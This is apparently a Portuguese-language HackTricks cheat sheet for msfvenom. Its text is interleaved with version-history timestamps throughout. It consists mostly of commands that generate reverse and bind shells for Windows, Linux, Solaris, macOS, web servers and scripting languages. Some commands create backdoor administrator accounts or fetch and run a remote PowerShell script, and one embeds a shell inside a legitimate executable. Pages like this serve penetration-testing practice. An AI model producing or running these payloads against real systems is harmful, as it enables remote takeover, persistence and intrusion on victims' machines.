2023-03-05 19:54:13 +00:00
# MSFVenom - CheatSheet
2022-04-28 16:01:33 +00:00
< details >
2023-12-30 22:28:51 +00:00
< summary > < strong > Aprenda hacking no AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2023-12-30 22:28:51 +00:00
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** , confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
* Adquira o [**material oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção de [**NFTs** ](https://opensea.io/collection/the-peass-family ) exclusivos
* **Junte-se ao grupo** 💬 [**Discord** ](https://discord.gg/hRep4RUj7f ) ou ao grupo [**telegram** ](https://t.me/peass ) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) no github.
2022-04-28 16:01:33 +00:00
< / details >
2023-07-31 17:51:15 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 14:49:16 +00:00
2023-12-30 22:28:51 +00:00
Junte-se ao servidor do [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) para se comunicar com hackers experientes e caçadores de bugs!
2022-04-28 16:01:33 +00:00
2023-12-30 22:28:51 +00:00
**Insights de Hacking**\
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
2022-11-05 09:07:43 +00:00
2023-12-30 22:28:51 +00:00
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
2023-02-27 09:28:45 +00:00
2023-12-30 22:28:51 +00:00
**Últimos Anúncios**\
Fique informado com os mais novos bug bounties lançados e atualizações cruciais da plataforma
2022-11-05 09:07:43 +00:00
2023-12-30 22:28:51 +00:00
**Junte-se a nós no** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) e comece a colaborar com os melhores hackers hoje mesmo!
2023-07-14 14:49:16 +00:00
2023-07-30 23:05:44 +00:00
***
2023-02-27 09:28:45 +00:00
2023-12-30 22:28:51 +00:00
## Básico do msfvenom
2023-08-16 09:34:29 +00:00
2020-11-11 00:39:24 +00:00
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
2020-07-15 15:43:14 +00:00
2023-12-30 22:28:51 +00:00
Também é possível usar `-a` para especificar a arquitetura ou `--platform`
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
## Listagem
2020-07-15 15:43:14 +00:00
```bash
2022-11-10 09:24:36 +00:00
msfvenom -l payloads #Payloads
2020-07-15 15:43:14 +00:00
msfvenom -l encoders #Encoders
```
2023-06-06 18:56:34 +00:00
## Parâmetros comuns ao criar um shellcode
2023-07-14 14:49:16 +00:00
```bash
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
2023-08-16 09:34:29 +00:00
## **Windows**
2023-06-06 18:56:34 +00:00
2023-08-16 09:34:29 +00:00
### **Shell Reverso**
2023-06-06 18:56:34 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
2023-12-30 22:28:51 +00:00
### Bind Shell
2023-07-31 17:51:15 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2023-07-31 17:51:15 +00:00
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
2023-07-14 14:49:16 +00:00
```
2023-07-31 17:51:15 +00:00
### Criar Usuário
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
2020-11-09 22:18:10 +00:00
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
2020-07-15 15:43:14 +00:00
```
2023-06-06 18:56:34 +00:00
### Shell CMD
2023-07-14 14:49:16 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
2023-06-06 18:56:34 +00:00
### **Executar Comando**
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
2020-12-15 09:10:57 +00:00
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
2020-07-15 15:43:14 +00:00
```
2023-06-06 18:56:34 +00:00
### Codificador
2023-07-14 14:49:16 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
2023-07-14 14:49:16 +00:00
### Incorporado dentro do executável
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=< IP > LPORT=< PORT > -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
2023-12-30 22:28:51 +00:00
## Payloads para Linux
2023-06-06 18:56:34 +00:00
2023-08-16 09:34:29 +00:00
### Shell Reverso
2023-06-06 18:56:34 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2023-07-31 17:51:15 +00:00
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
2023-07-30 23:05:44 +00:00
```
2023-12-30 22:28:51 +00:00
### Bind Shell
2023-07-14 14:49:16 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2023-07-31 17:51:15 +00:00
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
### SunOS (Solaris)
2023-07-14 14:49:16 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
2023-08-16 09:34:29 +00:00
{% endcode %}
2023-07-14 14:49:16 +00:00
2023-08-16 09:34:29 +00:00
## **Cargas úteis para MAC**
2023-07-14 14:49:16 +00:00
2023-08-16 09:34:29 +00:00
### **Shell Reverso:**
2023-07-14 14:49:16 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
2023-12-30 22:28:51 +00:00
### **Bind Shell**
2020-07-15 15:43:14 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
2023-08-16 09:34:29 +00:00
{% endcode %}
2023-12-30 22:28:51 +00:00
## **Cargas Úteis Baseadas na Web**
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### **PHP**
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
#### Shell reverso
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=< IP > LPORT=< PORT > -f raw > shell.php
2020-11-09 22:18:10 +00:00
cat shell.php | pbcopy && echo '< ?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
2020-07-15 15:43:14 +00:00
```
2023-08-16 09:34:29 +00:00
{% endcode %}
2023-06-06 18:56:34 +00:00
2023-08-16 09:34:29 +00:00
### ASP/x
2023-06-06 18:56:34 +00:00
2023-08-16 09:34:29 +00:00
#### Shell reverso
2023-06-06 18:56:34 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2023-07-14 14:49:16 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
2023-06-06 18:56:34 +00:00
```
2023-08-16 09:34:29 +00:00
{% endcode %}
2023-06-06 18:56:34 +00:00
2023-08-16 09:34:29 +00:00
### JSP
2023-06-06 18:56:34 +00:00
2023-08-16 09:34:29 +00:00
#### Shell reverso
2020-07-15 15:43:14 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
2023-08-16 09:34:29 +00:00
### WAR
2020-07-15 15:43:14 +00:00
2023-08-16 09:34:29 +00:00
#### Shell Reverso
2023-07-30 23:05:44 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
2023-08-16 09:34:29 +00:00
### NodeJS
2020-07-15 15:43:14 +00:00
```bash
2022-05-27 15:32:15 +00:00
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
2020-07-15 15:43:14 +00:00
```
2023-07-14 14:49:16 +00:00
## **Cargas úteis de Linguagem de Script**
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### **Perl**
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2023-07-14 14:49:16 +00:00
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
### **Python**
2020-07-15 15:43:14 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
2023-03-05 19:54:13 +00:00
### **Bash**
2020-07-15 15:43:14 +00:00
2023-08-16 09:34:29 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=< Local IP Address > LPORT=< Local Port > -f raw > shell.sh
```
2023-12-30 22:28:51 +00:00
```markdown
2023-08-16 09:34:29 +00:00
{% endcode %}
2023-07-31 17:51:15 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 14:49:16 +00:00
2023-12-30 22:28:51 +00:00
Participe do servidor [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
2023-03-05 19:54:13 +00:00
2023-12-30 22:28:51 +00:00
**Insights de Hacking**\
Interaja com conteúdos que exploram a emoção e os desafios do hacking
2023-02-27 09:28:45 +00:00
2023-12-30 22:28:51 +00:00
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
2023-02-27 09:28:45 +00:00
2023-12-30 22:28:51 +00:00
**Últimos Anúncios**\
Fique por dentro dos mais novos programas de recompensa por bugs e atualizações importantes da plataforma
2022-11-05 09:07:43 +00:00
2023-12-30 22:28:51 +00:00
**Junte-se a nós no** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) e comece a colaborar com os melhores hackers hoje mesmo!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-12-30 22:28:51 +00:00
< summary > < strong > Aprenda hacking no AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
2023-12-30 22:28:51 +00:00
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** , confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
* Adquira o [**material oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção de [**NFTs** ](https://opensea.io/collection/the-peass-family ) exclusivos
* **Junte-se ao grupo** 💬 [**Discord** ](https://discord.gg/hRep4RUj7f ) ou ao grupo [**telegram** ](https://t.me/peass ) ou **siga** -me no **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >
2023-12-30 22:28:51 +00:00
```